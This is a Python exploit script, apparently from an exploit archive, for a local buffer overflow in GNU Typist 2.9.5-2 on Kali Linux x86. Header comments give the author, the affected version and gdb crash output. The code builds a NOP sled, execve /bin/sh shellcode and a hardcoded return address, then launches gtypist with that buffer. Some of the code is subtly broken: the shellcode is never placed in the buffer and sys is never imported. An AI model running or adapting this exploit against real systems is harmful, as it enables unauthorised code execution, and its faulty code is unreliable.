58 lines
No EOL
1.7 KiB
Python
Executable file
58 lines
No EOL
1.7 KiB
Python
Executable file
# Exploit developed using Exploit Pack v6.5
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# Exploit Author: Juan Sacco - http://www.exploitpack.com -
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# jsacco@exploitpack.com
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# Program affected: GNU Typist
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# Affected value: ARG0
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# Version: 2.9.5-2
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#
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# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
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# Program description: Simple ncurses touch typing tutor
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# Displays exercise lines, measures your typing speed and
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# accuracy, and displays the results
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# Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb
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# MD5sum: 7ca59c5c0c494e41735b7be676401357
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# Website: http://www.gnu.org/software/gtypist/
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# gdb$ run `python -c 'print "A"*4098'`
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# 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6
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# 0x0804bf30 in ?? ()
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# 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
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# 0x0804c393 in ?? ()
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import os, subprocess
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def run():
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try:
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print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
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print "# This Exploit has been developed using Exploit Pack -
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http://exploitpack.com"
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# NOPSLED + SHELLCODE + EIP
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buffersize = 4098
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nopsled = "\x90"*30
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shellcode =
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"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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eip = "\x08\xec\xff\xbf"
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buffer = nopsled * (buffersize-len(shellcode)) + eip
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subprocess.call(["gtypist ",' ', buffer])
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except OSError as e:
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if e.errno == os.errno.ENOENT:
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print "Sorry, GNU GTypist - Not found!"
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else:
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print "Error executing exploit"
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raise
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def howtousage():
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print "Snap! Something went wrong"
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sys.exit(-1)
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if __name__ == '__main__':
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try:
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print "Exploit GNU GTypist - Local Overflow Exploit"
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print "Author: Juan Sacco - Exploit Pack"
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except IndexError:
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howtousage()
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run() |